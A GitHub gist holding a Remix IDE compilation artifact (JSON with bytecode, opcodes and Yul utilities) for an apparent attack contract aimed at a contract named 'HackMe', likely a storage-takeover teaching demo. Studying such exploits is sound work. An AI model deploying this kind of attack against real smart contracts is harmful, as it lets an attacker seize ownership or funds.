Skip to content

Instantly share code, notes, and snippets.

@vyorkin
Created March 8, 2022 07:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vyorkin/bc9eaa55fb7b62f03c3a8ead338511d3 to your computer and use it in GitHub Desktop.
Save vyorkin/bc9eaa55fb7b62f03c3a8ead338511d3 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.12+commit.f00d7308.js&optimize=false&runs=200&gist=
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_74": {
"entryPoint": null,
"id": 74,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_contract$_HackMe_$52_fromMemory": {
"entryPoint": 217,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_contract$_HackMe_$52_fromMemory": {
"entryPoint": 238,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 158,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_contract$_HackMe_$52": {
"entryPoint": 176,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 126,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 121,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_contract$_HackMe_$52": {
"entryPoint": 194,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1392:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "47:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "57:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "73:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "67:5:1"
},
"nodeType": "YulFunctionCall",
"src": "67:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "57:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "40:6:1",
"type": ""
}
],
"src": "7:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "177:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "194:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "197:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "187:6:1"
},
"nodeType": "YulFunctionCall",
"src": "187:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "187:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "88:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "300:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "317:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "320:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "310:6:1"
},
"nodeType": "YulFunctionCall",
"src": "310:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "310:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "211:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "379:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "389:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "404:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "411:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "400:3:1"
},
"nodeType": "YulFunctionCall",
"src": "400:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "389:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "361:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "371:7:1",
"type": ""
}
],
"src": "334:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "511:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "521:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "550:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "532:17:1"
},
"nodeType": "YulFunctionCall",
"src": "532:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "521:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "493:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "503:7:1",
"type": ""
}
],
"src": "466:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "626:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "636:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "665:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "647:17:1"
},
"nodeType": "YulFunctionCall",
"src": "647:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "636:7:1"
}
]
}
]
},
"name": "cleanup_t_contract$_HackMe_$52",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "608:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "618:7:1",
"type": ""
}
],
"src": "568:109:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "739:92:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "809:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "818:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "821:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "811:6:1"
},
"nodeType": "YulFunctionCall",
"src": "811:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "811:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "762:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "800:5:1"
}
],
"functionName": {
"name": "cleanup_t_contract$_HackMe_$52",
"nodeType": "YulIdentifier",
"src": "769:30:1"
},
"nodeType": "YulFunctionCall",
"src": "769:37:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "759:2:1"
},
"nodeType": "YulFunctionCall",
"src": "759:48:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "752:6:1"
},
"nodeType": "YulFunctionCall",
"src": "752:56:1"
},
"nodeType": "YulIf",
"src": "749:76:1"
}
]
},
"name": "validator_revert_t_contract$_HackMe_$52",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "732:5:1",
"type": ""
}
],
"src": "683:148:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "913:93:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "923:22:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "938:6:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "932:5:1"
},
"nodeType": "YulFunctionCall",
"src": "932:13:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "923:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "994:5:1"
}
],
"functionName": {
"name": "validator_revert_t_contract$_HackMe_$52",
"nodeType": "YulIdentifier",
"src": "954:39:1"
},
"nodeType": "YulFunctionCall",
"src": "954:46:1"
},
"nodeType": "YulExpressionStatement",
"src": "954:46:1"
}
]
},
"name": "abi_decode_t_contract$_HackMe_$52_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "891:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "899:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "907:5:1",
"type": ""
}
],
"src": "837:169:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1102:287:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1148:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "1150:77:1"
},
"nodeType": "YulFunctionCall",
"src": "1150:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "1150:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1123:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1132:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1119:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1119:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1144:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "1115:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1115:32:1"
},
"nodeType": "YulIf",
"src": "1112:119:1"
},
{
"nodeType": "YulBlock",
"src": "1241:141:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "1256:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "1270:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1260:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "1285:87:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1344:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1355:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1340:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1340:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1364:7:1"
}
],
"functionName": {
"name": "abi_decode_t_contract$_HackMe_$52_fromMemory",
"nodeType": "YulIdentifier",
"src": "1295:44:1"
},
"nodeType": "YulFunctionCall",
"src": "1295:77:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1285:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_contract$_HackMe_$52_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1072:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "1083:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1095:6:1",
"type": ""
}
],
"src": "1012:377:1"
}
]
},
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_contract$_HackMe_$52(value) -> cleaned {\n cleaned := cleanup_t_address(value)\n }\n\n function validator_revert_t_contract$_HackMe_$52(value) {\n if iszero(eq(value, cleanup_t_contract$_HackMe_$52(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_contract$_HackMe_$52_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_contract$_HackMe_$52(value)\n }\n\n function abi_decode_tuple_t_contract$_HackMe_$52_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_contract$_HackMe_$52_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50604051610610380380610610833981810160405281019061003291906100ee565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061011b565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100a98261007e565b9050919050565b60006100bb8261009e565b9050919050565b6100cb816100b0565b81146100d657600080fd5b50565b6000815190506100e8816100c2565b92915050565b60006020828403121561010457610103610079565b5b6000610112848285016100d9565b91505092915050565b6104e68061012a6000396000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c806375efcec5146100675780638da5cb5b1461008557806392801230146100a3578063931c9b99146100c15780639e5faafc146100df578063a6b206bf146100e9575b600080fd5b61006f610105565b60405161007c9190610371565b60405180910390f35b61008d61012b565b60405161009a91906103ad565b60405180910390f35b6100ab610151565b6040516100b891906103ad565b60405180910390f35b6100c9610175565b6040516100d691906103e1565b60405180910390f35b6100e761017b565b005b61010360048036038101906100fe919061042d565b6102ae565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6b206bf3073ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016101ec91906103e1565b600060405180830381600087803b15801561020657600080fd5b505af115801561021a573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6b206bf60016040518263ffffffff1660e01b815260040161027a9190610495565b600060405180830381600087803b15801561029457600080fd5b505af11580156102a8573d6000803e3d6000fd5b50505050565b33600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061033761033261032d846102f2565b610312565b6102f2565b9050919050565b60006103498261031c565b9050919050565b600061035b8261033e565b9050919050565b61036b81610350565b82525050565b60006020820190506103866000830184610362565b92915050565b6000610397826102f2565b9050919050565b6103a78161038c565b82525050565b60006020820190506103c2600083018461039e565b92915050565b6000819050919050565b6103db816103c8565b82525050565b60006020820190506103f660008301846103d2565b92915050565b600080fd5b61040a816103c8565b811461041557600080fd5b50565b60008135905061042781610401565b92915050565b600060208284031215610443576104426103fc565b5b600061045184828501610418565b91505092915050565b6000819050919050565b600061047f61047a6104758461045a565b610312565b6103c8565b9050919050565b61048f81610464565b82525050565b60006020820190506104aa6000830184610486565b9291505056fea2646970667358221220cac09679e97f3dc68e9b43eb9b190ae714fb92d0d311d113fcaf4cf7febba25a64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH2 0x610 CODESIZE SUB DUP1 PUSH2 0x610 DUP4 CODECOPY DUP2 DUP2 ADD PUSH1 0x40 MSTORE DUP2 ADD SWAP1 PUSH2 0x32 SWAP2 SWAP1 PUSH2 0xEE JUMP JUMPDEST DUP1 PUSH1 0x3 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP PUSH2 0x11B JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xA9 DUP3 PUSH2 0x7E JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xBB DUP3 PUSH2 0x9E JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0xCB DUP2 PUSH2 0xB0 JUMP JUMPDEST DUP2 EQ PUSH2 0xD6 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0xE8 DUP2 PUSH2 0xC2 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x104 JUMPI PUSH2 0x103 PUSH2 0x79 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x112 DUP5 DUP3 DUP6 ADD PUSH2 0xD9 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x4E6 DUP1 PUSH2 0x12A PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x62 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x75EFCEC5 EQ PUSH2 0x67 JUMPI DUP1 PUSH4 0x8DA5CB5B EQ PUSH2 0x85 JUMPI DUP1 PUSH4 0x92801230 EQ PUSH2 0xA3 JUMPI DUP1 PUSH4 0x931C9B99 EQ PUSH2 0xC1 JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0xDF JUMPI DUP1 PUSH4 0xA6B206BF EQ PUSH2 0xE9 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x6F PUSH2 0x105 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x7C SWAP2 SWAP1 PUSH2 0x371 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x8D PUSH2 0x12B JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x9A SWAP2 SWAP1 PUSH2 0x3AD JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0xAB PUSH2 0x151 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0xB8 SWAP2 SWAP1 PUSH2 0x3AD JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0xC9 PUSH2 0x175 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0xD6 SWAP2 SWAP1 PUSH2 0x3E1 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0xE7 PUSH2 0x17B JUMP JUMPDEST STOP JUMPDEST PUSH2 0x103 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0xFE SWAP2 SWAP1 PUSH2 0x42D JUMP JUMPDEST PUSH2 0x2AE JUMP JUMPDEST STOP JUMPDEST PUSH1 0x3 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x2 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x3 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA6B206BF ADDRESS PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x1EC SWAP2 SWAP1 PUSH2 0x3E1 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x206 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x21A JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x3 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA6B206BF PUSH1 0x1 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x27A SWAP2 SWAP1 PUSH2 0x495 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x294 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x2A8 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST CALLER PUSH1 0x1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x337 PUSH2 0x332 PUSH2 0x32D DUP5 PUSH2 0x2F2 JUMP JUMPDEST PUSH2 0x312 JUMP JUMPDEST PUSH2 0x2F2 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x349 DUP3 PUSH2 0x31C JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x35B DUP3 PUSH2 0x33E JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x36B DUP2 PUSH2 0x350 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x386 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x362 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x397 DUP3 PUSH2 0x2F2 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3A7 DUP2 PUSH2 0x38C JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x3C2 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x39E JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3DB DUP2 PUSH2 0x3C8 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x3F6 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x3D2 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x40A DUP2 PUSH2 0x3C8 JUMP JUMPDEST DUP2 EQ PUSH2 0x415 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x427 DUP2 PUSH2 0x401 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x443 JUMPI PUSH2 0x442 PUSH2 0x3FC JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x451 DUP5 DUP3 DUP6 ADD PUSH2 0x418 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x47F PUSH2 0x47A PUSH2 0x475 DUP5 PUSH2 0x45A JUMP JUMPDEST PUSH2 0x312 JUMP JUMPDEST PUSH2 0x3C8 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x48F DUP2 PUSH2 0x464 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x4AA PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x486 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xCA 0xC0 SWAP7 PUSH26 0xE97F3DC68E9B43EB9B190AE714FB92D0D311D113FCAF4CF7FEBB LOG2 GAS PUSH5 0x736F6C6343 STOP ADDMOD 0xC STOP CALLER ",
